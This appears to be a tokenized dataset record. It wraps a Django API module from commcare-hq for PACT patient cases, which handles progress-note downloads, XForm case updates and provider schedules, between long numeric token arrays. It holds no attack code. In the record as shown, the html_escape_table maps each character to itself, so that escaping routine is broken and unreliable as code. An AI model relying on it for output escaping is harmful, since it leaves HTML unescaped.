32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
benrudolph/commcare-hq
|
custom/_legacy/pact/api.py
|
2
|
17441
|
from datetime import datetime, time
import logging
import uuid
import tempfile
import dateutil
from lxml import etree
from django.core.servers.basehttp import FileWrapper
from django.utils.decorators import method_decorator
from casexml.apps.phone.middleware import LAST_SYNCTOKEN_HEADER
from dimagi.utils.parsing import json_format_date
from django_digest.decorators import httpdigest
import json
from django.http import Http404, HttpResponse
from django.core.cache import cache
from corehq.apps.api.domainapi import DomainAPI
from corehq.apps.api.es import ReportXFormES
from corehq.apps.domain.decorators import login_or_digest
from corehq.apps.fixtures.models import FixtureDataItem
from corehq.apps.groups.models import Group
from corehq.apps.users.models import CouchUser
from couchforms.models import XFormInstance
import localsettings
from pact.dot_data import get_dots_case_json
from pact.enums import (PACT_DOMAIN, XMLNS_PATIENT_UPDATE, PACT_HP_GROUPNAME, PACT_PROVIDERS_FIXTURE_CACHE_KEY,
XMLNS_PATIENT_UPDATE_DOT)
from pact.forms.patient_form import PactPatientForm
from pact.forms.weekly_schedule_form import ScheduleForm, DAYS_OF_WEEK
from pact.tasks import set_schedule_case_properties
from pact.utils import pact_script_fields, case_script_field, submit_xform, query_per_case_submissions_facet
from corehq.apps.app_manager.models import ApplicationBase
PACT_CLOUD_APPNAME = "PACT Cloud"
PACT_CLOUDCARE_MODULE = "PACT Cloudcare"
FORM_PROGRESS_NOTE = "Progress Note"
FORM_DOT = "DOT Form"
FORM_BLOODWORK = "Bloodwork"
FORM_ADDRESS = "Address and Phone Update"
def get_cloudcare_app():
"""
Total hack function to get direct links to the cloud care application pages
"""
from corehq.apps.cloudcare import api
app = api.get_cloudcare_app(PACT_DOMAIN, PACT_CLOUD_APPNAME)
app_id = app['_id']
pact_cloudcare = filter(lambda x: x['name']['en'] == PACT_CLOUDCARE_MODULE, app['modules'])
forms = pact_cloudcare[0]['forms']
ret = dict((f['name']['en'], ix) for (ix, f) in enumerate(forms))
url_root = '/a/%(domain)s/cloudcare/apps/view/%(build_id)s/%(module_id)s/%(form_id)s/case/%(case_id)s/enter/'
ret['url_root'] = url_root
ret['domain'] = PACT_DOMAIN
ret['app_id'] = app_id
latest_build = ApplicationBase.get_latest_build(PACT_DOMAIN, app_id)
if latest_build is not None:
latest_build_id = latest_build['_id']
ret['build_id'] = latest_build_id
ret['module_id'] = 0
return ret
def get_cloudcare_url(case_id, mode):
app_dict = get_cloudcare_app()
url_root = app_dict['url_root']
build_id = app_dict['build_id']
module_id = app_dict['module_id']
return url_root % dict(form_id=app_dict[mode], case_id=case_id, domain=PACT_DOMAIN, build_id=build_id, module_id=module_id)
class PactFormAPI(DomainAPI):
xform_es = ReportXFormES(PACT_DOMAIN)
@classmethod
def allowed_domain(self, domain):
return PACT_DOMAIN
@classmethod
def api_version(cls):
return "1"
@classmethod
def api_name(cls):
return "pact_formdata"
@method_decorator(httpdigest)
@method_decorator(login_or_digest)
def get(self, *args, **kwargs):
"""
Download prior progress note submissions for local access
"""
db = XFormInstance.get_db()
couch_user = CouchUser.from_django_user(self.request.user)
username = couch_user.raw_username
if hasattr(localsettings, 'debug_pact_user'):
username = getattr(localsettings, 'debug_pact_user')(username)
offset =0
limit_count=200
total_count = 0
query = {
"query": {
"filtered": {
"filter": {
"and": [
{"term": {"domain.exact": "pact"}},
{"term": {"form.#type": "progress_note"}},
{"term": {"form.meta.username": username}}
]
},
"query": {"match_all": {}}
}
},
"sort": {"received_on": "asc"},
"size": limit_count,
"fields": ['_id']
}
query['script_fields'] = {}
query['script_fields'].update(pact_script_fields())
query['script_fields'].update(case_script_field())
res = self.xform_es.run_query(query)
my_patients_ever_submitted_query = query_per_case_submissions_facet(PACT_DOMAIN, username)
patients_res = self.xform_es.run_query(my_patients_ever_submitted_query)
#filter by active/discharged?
#get all the forms
#get all the patients
#get all patients to determine which to filter.
active_patients = []
for pt in []:
#if pt.hp_status == "Discharged":
#continue
case_id = pt['script_case_id']
active_patients.append(case_id)
def return_iterator():
yield "<restoredata>"
for result in res['hits']['hits']:
data_row = result['fields']
# if data_row['script_case_id'] not in active_patients:
# continue
try:
xml_str = db.fetch_attachment(data_row['_id'], 'form.xml').replace("<?xml version=\'1.0\' ?>", '').replace("<?xml version='1.0' encoding='UTF-8' ?>", '')
yield xml_str
except Exception, ex:
logging.error("for downloader: error fetching attachment: %s" % ex)
yield "</restoredata>"
def return_tmpfile():
temp_xml = tempfile.TemporaryFile()
length = temp_xml.tell()
temp_xml.seek(0)
wrapper = FileWrapper(temp_xml)
response = HttpResponse(wrapper, mimetype='text/xml')
response['Content-Length'] = length
response = HttpResponse(return_iterator(), mimetype='text/xml')
return response
html_escape_table = {
"&": "&",
'"': """,
"'": "'",
">": ">",
"<": "<",
}
def html_escape(text):
"""Produce entities within text."""
return "".join(html_escape_table.get(c,c) for c in text)
def sub_element(root, tag, val):
sube = etree.SubElement(root, tag)
sube.text = val
def generate_meta_block(couch_user, instance_id=None, timestart=None, timeend=None):
if timestart is None:
timestart = datetime.utcnow()
if timeend is None:
timeend = datetime.utcnow()
if instance_id is None:
instance_id = uuid.uuid4().hex
meta_nsmap={'n0': 'http://openrosa.org/jr/xforms' }
meta_lxml = etree.Element("{%s}meta" % meta_nsmap['n0'], nsmap=meta_nsmap)
sub_element(meta_lxml, '{%s}deviceID' % meta_nsmap['n0'], 'pact_case_updater')
sub_element(meta_lxml, '{%s}userID' % meta_nsmap['n0'], couch_user.get_id)
sub_element(meta_lxml, '{%s}timeStart' % meta_nsmap['n0'], timestart.strftime('%Y-%m-%dT%H:%M:%SZ'))
sub_element(meta_lxml, '{%s}timeEnd' % meta_nsmap['n0'], timeend.strftime('%Y-%m-%dT%H:%M:%SZ'))
sub_element(meta_lxml, '{%s}instanceID' % meta_nsmap['n0'], instance_id)
return meta_lxml
def prepare_case_update_xml_block(casedoc, couch_user, update_dict, submit_date):
case_nsmap = {'n1': 'http://commcarehq.org/case/transaction/v2'}
def make_update(update_elem, updates):
for k,v in updates.items():
if v is not None:
sub_element(update_elem, '{%(ns)s}%(tag)s' % {'ns': case_nsmap['n1'], 'tag': k}, v)
case_lxml = etree.Element('{%s}case' % case_nsmap['n1'], nsmap=case_nsmap, case_id=casedoc._id, user_id=couch_user._id, date_modified=submit_date.strftime("%Y-%m-%dT%H:%M:%SZ"))
update_lxml = etree.SubElement(case_lxml, '{%s}update' % case_nsmap['n1'])
make_update(update_lxml, update_dict)
return case_lxml
def recompute_dots_casedata(casedoc, couch_user, submit_date=None, sync_token=None):
"""
On a DOT submission, recompute the DOT block and submit a casedoc update xform
Recompute and reset the ART regimen and NONART regimen to whatever the server says it is, in the casedoc where there's an idiosyncracy with how the phone has it set.
This only updates the patient's casexml block with new dots data, and has no bearing on website display - whatever is pulled from the dots view is real.
"""
if getattr(casedoc, 'dot_status', None) in ['DOT5', 'DOT3', 'DOT1']:
update_dict = {}
dots_data = get_dots_case_json(casedoc)
update_dict['dots'] = json.dumps(dots_data)
submit_case_update_form(casedoc, update_dict, couch_user, submit_date=submit_date, xmlns=XMLNS_PATIENT_UPDATE_DOT, sync_token=sync_token)
def submit_case_update_form(casedoc, update_dict, couch_user, submit_date=None, xmlns=XMLNS_PATIENT_UPDATE, sync_token=None):
"""
Main entry point for submitting an update for a pact patient
Args:
casedoc: the patient case
update_dict: the kv of the fields being changed
couch_user: user committing the change
submit_date: now if None
"""
if submit_date is None:
submit_date = datetime.utcnow()
form = etree.Element("data", nsmap={None: xmlns, 'jrm': "http://dev.commcarehq.org/jr/xforms"})
meta_block = generate_meta_block(couch_user, timestart=submit_date, timeend=submit_date)
form.append(meta_block)
update_block = prepare_case_update_xml_block(casedoc, couch_user, update_dict, submit_date)
form.append(update_block)
# todo: this date is based off midnight UTC not local time...
encounter_date = etree.XML('<encounter_date>%s</encounter_date>' % json_format_date(datetime.utcnow()))
form.append(encounter_date)
submission_xml_string = etree.tostring(form)
if sync_token:
extra_meta = {LAST_SYNCTOKEN_HEADER: sync_token}
else:
extra_meta = None
return submit_xform('/a/pact/receiver', PACT_DOMAIN, submission_xml_string, extra_meta=extra_meta)
def get_all_providers(invalidate=False):
"""
wrapper function to get all the providers for PACT and cache them.
ugly for now - the number of entries is small enough that loading all and scanning on checking is small enough overhead on a single page load.
"""
if invalidate:
cache.delete(PACT_PROVIDERS_FIXTURE_CACHE_KEY)
raw_cached_fixtures = cache.get(PACT_PROVIDERS_FIXTURE_CACHE_KEY, None)
if raw_cached_fixtures is None:
#requery and cache
pact_hp_group = Group.by_name(PACT_DOMAIN, PACT_HP_GROUPNAME)
providers = FixtureDataItem.by_group(pact_hp_group)
cache.set(PACT_PROVIDERS_FIXTURE_CACHE_KEY, json.dumps([x.to_json() for x in providers]))
return providers
else:
try:
json_data = json.loads(raw_cached_fixtures)
#not necessary in the grand scheme of things - we could really just use raw JSON
return [FixtureDataItem.wrap(x) for x in json_data]
except Exception, ex:
logging.error("Error loading json from cache key %s: %s" % (PACT_PROVIDERS_FIXTURE_CACHE_KEY, ex))
return []
# cache.set('%s_casedoc' % self._id, json.dumps(self._case), PACT_CACHE_TIMEOUT)
# xml_ret = cache.get('%s_schedule_xml' % self._id, None)
pass
class PactAPI(DomainAPI):
#note - for security purposes, csrf protection is ENABLED
#search POST queries must take the following format:
#query={query_json}
#csrfmiddlewaretoken=token
#in curl, this is:
#curl -b "csrftoken=<csrftoken>;sessionid=<session_id>" -H "Content-Type: application/json" -XPOST http://server/a/domain/api/v0.1/xform_es/
# -d"query=@myquery.json&csrfmiddlewaretoken=<csrftoken>"
@classmethod
def allowed_domain(self, domain):
return PACT_DOMAIN
@classmethod
def api_version(cls):
return "1"
@classmethod
def api_name(cls):
return "pactdata"
http_method_names = ['get', 'post', 'head', ]
def get(self, *args, **kwargs):
from pact.models import PactPatientCase
if self.request.GET.get('case_id', None) is None:
raise Http404
case = PactPatientCase.get(self.request.GET['case_id'])
if self.method is None:
return HttpResponse("API Method unknown: no method", status=400)
elif self.method == "schedule":
scheds = case.get_schedules(raw_json=True)
if scheds is None:
scheds = []
payload = json.dumps(scheds)
response = HttpResponse(payload, content_type="application/json")
return response
elif self.method == 'providers':
providers = get_all_providers()
providers = sorted(providers, key=lambda x: x.fields_without_attributes['last_name'])
providers_by_id = dict(
(x.fields_without_attributes['id'], x.fields_without_attributes)
for x in providers
)
case_providers = [providers_by_id.get(x, None) for x in case.get_provider_ids()]
facilities = set()
for prov in providers:
facility = prov.fields_without_attributes['facility_name']
if facility is None:
facility = 'N/A'
facilities.add(facility)
ret = {
'facilities': ['All Facilities'] + sorted(list(facilities)),
"providers": [x.fields_without_attributes for x in providers],
"case_providers": case_providers,
}
resp = HttpResponse(json.dumps(ret), content_type='application/json')
return resp
else:
return HttpResponse("API Method unknown", status=400)
def post(self, *args, **kwargs):
from pact.models import PactPatientCase, CDotWeeklySchedule
pdoc = PactPatientCase.get(self.request.GET['case_id'])
resp = HttpResponse()
if self.method == "rm_schedule":
if self.request.POST.has_key('rm_schedule'):
#hacky remove schedule method
pdoc.rm_last_schedule()
pdoc.save()
resp.status_code = 204
return resp
elif self.method == "schedule":
form = ScheduleForm(data=self.request.POST)
if form.is_valid():
sched = CDotWeeklySchedule()
for day in DAYS_OF_WEEK:
if form.cleaned_data[day] != 'None':
setattr(sched, day, form.cleaned_data[day])
if form.cleaned_data['active_date'] == None:
sched.started = datetime.utcnow()
else:
sched.started = datetime.combine(form.cleaned_data['active_date'], time.min)
sched.comment = form.cleaned_data['comment']
sched.created_by = self.request.user.username
sched.deprecated = False
pdoc.set_schedule(sched)
pdoc.save()
set_schedule_case_properties(pdoc)
resp.status_code = 204
return resp
else:
resp.write(str(form.errors))
resp.status_code = 406
return resp
elif self.method == 'providers':
try:
submitted_provider_ids = json.loads(self.request.POST['selected_providers'])
case_provider_ids = list(pdoc.get_provider_ids())
if submitted_provider_ids != case_provider_ids:
try:
#len difference
submitted_len = len(submitted_provider_ids)
case_len = len(case_provider_ids)
if submitted_len < case_len:
for x in range(case_len-submitted_len):
submitted_provider_ids.append('')
pdoc.update_providers(self.request.couch_user, submitted_provider_ids)
resp.write("success")
resp.status_code=204
except Exception, ex:
resp.write("Error submitting: %s" % ex)
resp.status_code=500
else:
resp.write("")
resp.status_code=304
except Exception, ex:
resp.write("Error submitting: %s" % ex)
resp.status_code=500
return resp
elif self.method == "patient_edit":
form = PactPatientForm(self.request, pdoc, data=self.request.POST)
if form.is_valid():
update_data = form.clean_changed_data
submit_case_update_form(pdoc, update_data, self.request.couch_user)
resp.status_code = 204
return resp
else:
resp.write(str(form.errors))
resp.status_code = 406
return resp
def head(self, *args, **kwargs):
raise NotImplementedError("Not implemented")
@method_decorator(login_or_digest)
def dispatch(self, *args, **kwargs):
req = args[0]
self.method = req.GET.get('method', None)
ret = super(PactAPI, self).dispatch(*args, **kwargs)
return ret
|
bsd-3-clause
|
[
504,
2197,
492,
2197,
12,
900,
199,
646,
2050,
199,
646,
5377,
199,
646,
5549,
199,
199,
646,
22208,
199,
504,
14490,
492,
7559,
199,
504,
1639,
14,
1018,
14,
5871,
14,
1095,
1014,
492,
3814,
4590,
199,
504,
1639,
14,
1208,
14,
11582,
492,
1083,
63,
11547,
199,
504,
1930,
1652,
14,
5181,
14,
9339,
14,
5754,
492,
491,
11307,
63,
31802,
1028,
3593,
742,
63,
7311,
199,
504,
487,
5615,
73,
14,
1208,
14,
11059,
492,
2022,
63,
908,
63,
602,
199,
504,
1639,
63,
5671,
14,
11582,
492,
1455,
5671,
199,
646,
2022,
199,
504,
1639,
14,
1014,
492,
4760,
5188,
12,
6183,
199,
504,
1639,
14,
1018,
14,
1637,
492,
2581,
199,
199,
504,
6170,
21550,
14,
5181,
14,
1246,
14,
2261,
1246,
492,
14061,
3735,
199,
504,
6170,
21550,
14,
5181,
14,
1246,
14,
397,
492,
11774,
56,
2821,
654,
199,
504,
6170,
21550,
14,
5181,
14,
2261,
14,
11582,
492,
4676,
63,
269,
63,
5671,
199,
504,
6170,
21550,
14,
5181,
14,
8769,
14,
992,
492,
31574,
4167,
1451,
2081,
199,
504,
6170,
21550,
14,
5181,
14,
2634,
14,
992,
492,
5611,
199,
504,
6170,
21550,
14,
5181,
14,
3707,
14,
992,
492,
445,
13087,
1899,
199,
504,
28877,
3351,
14,
992,
492,
1323,
2821,
3244,
199,
646,
2257,
1751,
199,
504,
691,
319,
14,
3287,
63,
576,
492,
664,
63,
25310,
63,
2546,
63,
1001,
199,
504,
691,
319,
14,
19921,
492,
334,
48,
3036,
63,
7378,
12,
4692,
2709,
63,
2805,
25451,
63,
10383,
12,
510,
3036,
63,
18635,
63,
7823,
2339,
12,
510,
3036,
63,
21403,
3960,
63,
5192,
52,
3942,
63,
8677,
63,
3078,
12,
717,
4692,
2709,
63,
2805,
25451,
63,
10383,
63,
13203,
9,
199,
504,
691,
319,
14,
3351,
14,
25067,
63,
964,
492,
510,
2442,
48,
31078,
2821,
199,
504,
691,
319,
14,
3351,
14,
6419,
590,
63,
7211,
63,
964,
492,
24317,
2821,
12,
577,
3448,
51,
63,
3359,
63,
24929,
199,
504,
691,
319,
14,
5054,
492,
663,
63,
7211,
63,
2546,
63,
3282,
199,
504,
691,
319,
14,
1208,
492,
691,
319,
63,
1579,
63,
955,
12,
1930,
63,
1579,
63,
698,
12,
11482,
63,
24226,
12,
1827,
63,
529,
63,
2546,
63,
29752,
63,
24271,
199,
504,
6170,
21550,
14,
5181,
14,
571,
63,
2609,
14,
992,
492,
13515,
1563,
199,
199,
48,
3036,
63,
29495,
63,
7121,
2339,
275,
298,
48,
3036,
8142,
2,
199,
48,
3036,
63,
29495,
35,
8693,
63,
10001,
275,
298,
48,
3036,
8142,
28654,
2,
199,
199,
3516,
63,
24547,
63,
19855,
275,
298,
11504,
3390,
2,
199,
3516,
63,
13203,
275,
298,
13203,
8204,
2,
199,
3516,
63,
34,
1484,
22041,
8406,
275,
298,
34,
21703,
800,
2,
199,
3516,
63,
12368,
275,
298,
1476,
436,
27585,
6162,
2,
421,
199,
318,
664,
63,
4091,
28654,
63,
571,
837,
272,
408,
272,
19271,
11176,
805,
370,
664,
4125,
6220,
370,
314,
8002,
10296,
4223,
6497,
272,
408,
339,
687,
6170,
21550,
14,
5181,
14,
4091,
28654,
492,
2986,
339,
1145,
275,
2986,
14,
362,
63,
4091,
28654,
63,
571,
8,
48,
3036,
63,
7378,
12,
510,
3036,
63,
29495,
63,
7121,
2339,
9,
272,
1145,
63,
344,
275,
1145,
8680,
344,
418,
339,
691,
319,
63,
4091,
28654,
275,
2457,
8,
2734,
671,
26,
671,
459,
354,
2545,
287,
418,
508,
510,
3036,
63,
29495,
35,
8693,
63,
10001,
12,
1145,
459,
3112,
1105,
272,
4513,
275,
691,
319,
63,
4091,
28654,
59,
16,
2733,
3351,
418,
272,
2203,
275,
1211,
1332,
70,
459,
354,
2545,
287,
995,
20593,
9,
367,
334,
1148,
12,
289,
9,
315,
3874,
8,
3351,
430,
339,
1166,
63,
1231,
275,
1994,
65,
21275,
2261,
9,
83,
15,
4091,
28654,
15,
5181,
15,
1345,
21275,
1506,
63,
344,
9,
83,
21275,
578,
63,
344,
9,
83,
21275,
964,
63,
344,
9,
83,
15,
2546,
21275,
2546,
63,
344,
9,
83,
15,
4200,
4805,
272,
2203,
459,
633,
63,
1231,
418,
275,
1166,
63,
1231,
272,
2203,
459,
2261,
418,
275,
510,
3036,
63,
7378,
272,
2203,
459,
571,
63,
344,
418,
275,
1145,
63,
344,
272,
8839,
63,
1506,
275,
13515,
1563,
14,
362,
63,
7410,
63,
1506,
8,
48,
3036,
63,
7378,
12,
1145,
63,
344,
9,
272,
340,
8839,
63,
1506,
365,
440,
488,
26,
267,
8839,
63,
1506,
63,
344,
275,
8839,
63,
1506,
8680,
344,
418,
267,
2203,
459,
1506,
63,
344,
418,
275,
8839,
63,
1506,
63,
344,
272,
2203,
459,
578,
63,
344,
418,
275,
378,
272,
372,
2203,
199,
199,
318,
664,
63,
4091,
28654,
63,
633,
8,
2546,
63,
344,
12,
818,
304,
272,
1145,
63,
807,
275,
664,
63,
4091,
28654,
63,
571,
342,
272,
1166,
63,
1231,
275,
1145,
63,
807,
459,
633,
63,
1231,
418,
272,
1900,
63,
344,
275,
1145,
63,
807,
459,
1506,
63,
344,
418,
272,
859,
63,
344,
275,
1145,
63,
807,
459,
578,
63,
344,
418,
272,
372,
221,
1166,
63,
1231,
450,
1211,
8,
964,
63,
344,
29,
571,
63,
807,
59,
632,
467,
1930,
63,
344,
29,
2546,
63,
344,
12,
2881,
29,
48,
3036,
63,
7378,
12,
1900,
63,
344,
29,
1506,
63,
344,
12,
859,
63,
344,
29,
578,
63,
344,
9,
421,
199,
533,
510,
2442,
2821,
3735,
8,
7705,
3735,
304,
272,
671,
964,
63,
397,
275,
11774,
56,
2821,
654,
8,
48,
3036,
63,
7378,
9,
339,
768,
3744,
272,
347,
4370,
63,
2261,
8,
277,
12,
2881,
304,
267,
372,
510,
3036,
63,
7378,
339,
768,
3744,
272,
347,
2986,
63,
1023,
8,
1886,
304,
267,
372,
298,
17,
2,
339,
768,
3744,
272,
347,
2986,
63,
354,
8,
1886,
304,
267,
372,
298,
387,
319,
63,
30942,
2,
339,
768,
765,
63,
11547,
8,
1014,
5671,
9,
272,
768,
765,
63,
11547,
8,
2886,
63,
269,
63,
5671,
9,
272,
347,
664,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
267,
408,
267,
17955,
6791,
6696,
5317,
30399,
367,
2257,
2879,
267,
408,
267,
1592,
275,
1323,
2821,
3244,
14,
362,
63,
697,
342,
267,
28877,
63,
751,
275,
445,
13087,
1899,
14,
504,
63,
1176,
63,
751
] |
[
2197,
492,
2197,
12,
900,
199,
646,
2050,
199,
646,
5377,
199,
646,
5549,
199,
199,
646,
22208,
199,
504,
14490,
492,
7559,
199,
504,
1639,
14,
1018,
14,
5871,
14,
1095,
1014,
492,
3814,
4590,
199,
504,
1639,
14,
1208,
14,
11582,
492,
1083,
63,
11547,
199,
504,
1930,
1652,
14,
5181,
14,
9339,
14,
5754,
492,
491,
11307,
63,
31802,
1028,
3593,
742,
63,
7311,
199,
504,
487,
5615,
73,
14,
1208,
14,
11059,
492,
2022,
63,
908,
63,
602,
199,
504,
1639,
63,
5671,
14,
11582,
492,
1455,
5671,
199,
646,
2022,
199,
504,
1639,
14,
1014,
492,
4760,
5188,
12,
6183,
199,
504,
1639,
14,
1018,
14,
1637,
492,
2581,
199,
199,
504,
6170,
21550,
14,
5181,
14,
1246,
14,
2261,
1246,
492,
14061,
3735,
199,
504,
6170,
21550,
14,
5181,
14,
1246,
14,
397,
492,
11774,
56,
2821,
654,
199,
504,
6170,
21550,
14,
5181,
14,
2261,
14,
11582,
492,
4676,
63,
269,
63,
5671,
199,
504,
6170,
21550,
14,
5181,
14,
8769,
14,
992,
492,
31574,
4167,
1451,
2081,
199,
504,
6170,
21550,
14,
5181,
14,
2634,
14,
992,
492,
5611,
199,
504,
6170,
21550,
14,
5181,
14,
3707,
14,
992,
492,
445,
13087,
1899,
199,
504,
28877,
3351,
14,
992,
492,
1323,
2821,
3244,
199,
646,
2257,
1751,
199,
504,
691,
319,
14,
3287,
63,
576,
492,
664,
63,
25310,
63,
2546,
63,
1001,
199,
504,
691,
319,
14,
19921,
492,
334,
48,
3036,
63,
7378,
12,
4692,
2709,
63,
2805,
25451,
63,
10383,
12,
510,
3036,
63,
18635,
63,
7823,
2339,
12,
510,
3036,
63,
21403,
3960,
63,
5192,
52,
3942,
63,
8677,
63,
3078,
12,
717,
4692,
2709,
63,
2805,
25451,
63,
10383,
63,
13203,
9,
199,
504,
691,
319,
14,
3351,
14,
25067,
63,
964,
492,
510,
2442,
48,
31078,
2821,
199,
504,
691,
319,
14,
3351,
14,
6419,
590,
63,
7211,
63,
964,
492,
24317,
2821,
12,
577,
3448,
51,
63,
3359,
63,
24929,
199,
504,
691,
319,
14,
5054,
492,
663,
63,
7211,
63,
2546,
63,
3282,
199,
504,
691,
319,
14,
1208,
492,
691,
319,
63,
1579,
63,
955,
12,
1930,
63,
1579,
63,
698,
12,
11482,
63,
24226,
12,
1827,
63,
529,
63,
2546,
63,
29752,
63,
24271,
199,
504,
6170,
21550,
14,
5181,
14,
571,
63,
2609,
14,
992,
492,
13515,
1563,
199,
199,
48,
3036,
63,
29495,
63,
7121,
2339,
275,
298,
48,
3036,
8142,
2,
199,
48,
3036,
63,
29495,
35,
8693,
63,
10001,
275,
298,
48,
3036,
8142,
28654,
2,
199,
199,
3516,
63,
24547,
63,
19855,
275,
298,
11504,
3390,
2,
199,
3516,
63,
13203,
275,
298,
13203,
8204,
2,
199,
3516,
63,
34,
1484,
22041,
8406,
275,
298,
34,
21703,
800,
2,
199,
3516,
63,
12368,
275,
298,
1476,
436,
27585,
6162,
2,
421,
199,
318,
664,
63,
4091,
28654,
63,
571,
837,
272,
408,
272,
19271,
11176,
805,
370,
664,
4125,
6220,
370,
314,
8002,
10296,
4223,
6497,
272,
408,
339,
687,
6170,
21550,
14,
5181,
14,
4091,
28654,
492,
2986,
339,
1145,
275,
2986,
14,
362,
63,
4091,
28654,
63,
571,
8,
48,
3036,
63,
7378,
12,
510,
3036,
63,
29495,
63,
7121,
2339,
9,
272,
1145,
63,
344,
275,
1145,
8680,
344,
418,
339,
691,
319,
63,
4091,
28654,
275,
2457,
8,
2734,
671,
26,
671,
459,
354,
2545,
287,
418,
508,
510,
3036,
63,
29495,
35,
8693,
63,
10001,
12,
1145,
459,
3112,
1105,
272,
4513,
275,
691,
319,
63,
4091,
28654,
59,
16,
2733,
3351,
418,
272,
2203,
275,
1211,
1332,
70,
459,
354,
2545,
287,
995,
20593,
9,
367,
334,
1148,
12,
289,
9,
315,
3874,
8,
3351,
430,
339,
1166,
63,
1231,
275,
1994,
65,
21275,
2261,
9,
83,
15,
4091,
28654,
15,
5181,
15,
1345,
21275,
1506,
63,
344,
9,
83,
21275,
578,
63,
344,
9,
83,
21275,
964,
63,
344,
9,
83,
15,
2546,
21275,
2546,
63,
344,
9,
83,
15,
4200,
4805,
272,
2203,
459,
633,
63,
1231,
418,
275,
1166,
63,
1231,
272,
2203,
459,
2261,
418,
275,
510,
3036,
63,
7378,
272,
2203,
459,
571,
63,
344,
418,
275,
1145,
63,
344,
272,
8839,
63,
1506,
275,
13515,
1563,
14,
362,
63,
7410,
63,
1506,
8,
48,
3036,
63,
7378,
12,
1145,
63,
344,
9,
272,
340,
8839,
63,
1506,
365,
440,
488,
26,
267,
8839,
63,
1506,
63,
344,
275,
8839,
63,
1506,
8680,
344,
418,
267,
2203,
459,
1506,
63,
344,
418,
275,
8839,
63,
1506,
63,
344,
272,
2203,
459,
578,
63,
344,
418,
275,
378,
272,
372,
2203,
199,
199,
318,
664,
63,
4091,
28654,
63,
633,
8,
2546,
63,
344,
12,
818,
304,
272,
1145,
63,
807,
275,
664,
63,
4091,
28654,
63,
571,
342,
272,
1166,
63,
1231,
275,
1145,
63,
807,
459,
633,
63,
1231,
418,
272,
1900,
63,
344,
275,
1145,
63,
807,
459,
1506,
63,
344,
418,
272,
859,
63,
344,
275,
1145,
63,
807,
459,
578,
63,
344,
418,
272,
372,
221,
1166,
63,
1231,
450,
1211,
8,
964,
63,
344,
29,
571,
63,
807,
59,
632,
467,
1930,
63,
344,
29,
2546,
63,
344,
12,
2881,
29,
48,
3036,
63,
7378,
12,
1900,
63,
344,
29,
1506,
63,
344,
12,
859,
63,
344,
29,
578,
63,
344,
9,
421,
199,
533,
510,
2442,
2821,
3735,
8,
7705,
3735,
304,
272,
671,
964,
63,
397,
275,
11774,
56,
2821,
654,
8,
48,
3036,
63,
7378,
9,
339,
768,
3744,
272,
347,
4370,
63,
2261,
8,
277,
12,
2881,
304,
267,
372,
510,
3036,
63,
7378,
339,
768,
3744,
272,
